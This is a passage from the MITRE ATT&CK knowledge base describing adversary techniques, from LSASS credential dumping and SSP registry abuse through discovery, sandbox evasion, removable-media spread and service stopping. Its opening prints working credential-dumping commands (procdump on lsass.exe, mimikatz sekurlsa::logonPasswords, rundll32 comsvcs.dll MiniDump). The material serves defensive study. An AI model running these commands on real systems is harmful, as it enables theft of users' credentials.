For example, on the target host use procdump:

* procdump -ma lsass.exe lsass_dump

Locally, mimikatz can be run using:

* sekurlsa::Minidump lsassdump.dmp
* sekurlsa::logonPasswords

Built-in Windows tools such as comsvcs.dll can also be used:

* rundll32.exe C:WindowsSystem32comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)


Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLMSYSTEMCurrentControlSetControlLsaSecurity Packages and HKLMSYSTEMCurrentControlSetControlLsaOSConfigSecurity Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The following SSPs can be used to access credentials:

* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

TA0007 Discovery

The adversary is trying to figure out your environment.


Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what’s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.


T1082 System Information Discovery

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)

The adversary is trying to figure out your environment.


Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what’s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.


T1120 Peripheral Device Discovery

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

The adversary is trying to figure out your environment.


Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what’s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.


T1497.001 Virtualization/Sandbox Evasion: System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

TA0008 Lateral Movement

The adversary is trying to move through your environment.


Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.


T1091 Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

TA0040 Impact

The adversary is trying to manipulate, interrupt, or destroy your systems and data.


Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries’ goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.


T1489 Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)
* © 2024 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.
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